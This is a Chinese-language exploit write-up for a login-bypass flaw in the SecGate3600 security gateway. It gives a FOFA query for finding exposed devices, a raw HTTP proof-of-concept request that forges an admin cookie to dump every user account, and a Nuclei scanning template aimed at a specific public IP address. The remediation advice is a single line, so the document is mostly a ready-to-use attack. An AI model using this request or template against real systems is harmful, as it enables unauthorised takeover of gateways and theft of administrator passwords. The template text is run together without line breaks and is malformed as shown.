免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

SecGate3600是网神信息技术(北京)股份有限公司旗下一款安全网关产品，网神 SecGate3600 存在登录绕过漏洞，攻击者利用该漏洞可获取管理员密码等敏感信息，进一步控制系统。

Ⅱ、fofa语句

body="sec_gate_image/login_02.gif"

Ⅲ、漏洞复现

POC

POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host:127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: sw_login_name=admin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc

1、构建poc

2、登录成功

Ⅳ、Nuclei-POC

id: SecGate3600-authManageSet-cgi-login-bypassinfo:name: Template Nameauthor: WLFseverity: highdescription: SecGate3600存在登录绕过漏洞，攻击者利用该漏洞可获取管理员密码等敏感信息reference:- https://tags: SecGate3600,bypasshttp:- raw:- |-POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1Host:112.66.164.36:8889Content-Type: application/x-www-form-urlencodedCookie: sw_login_name=adminUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 77type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=ascmatchers-condition: andmatchers:- type: wordpart: bodywords:- cell- type: statusstatus:- 200

Ⅴ、修复建议

升级至安全版本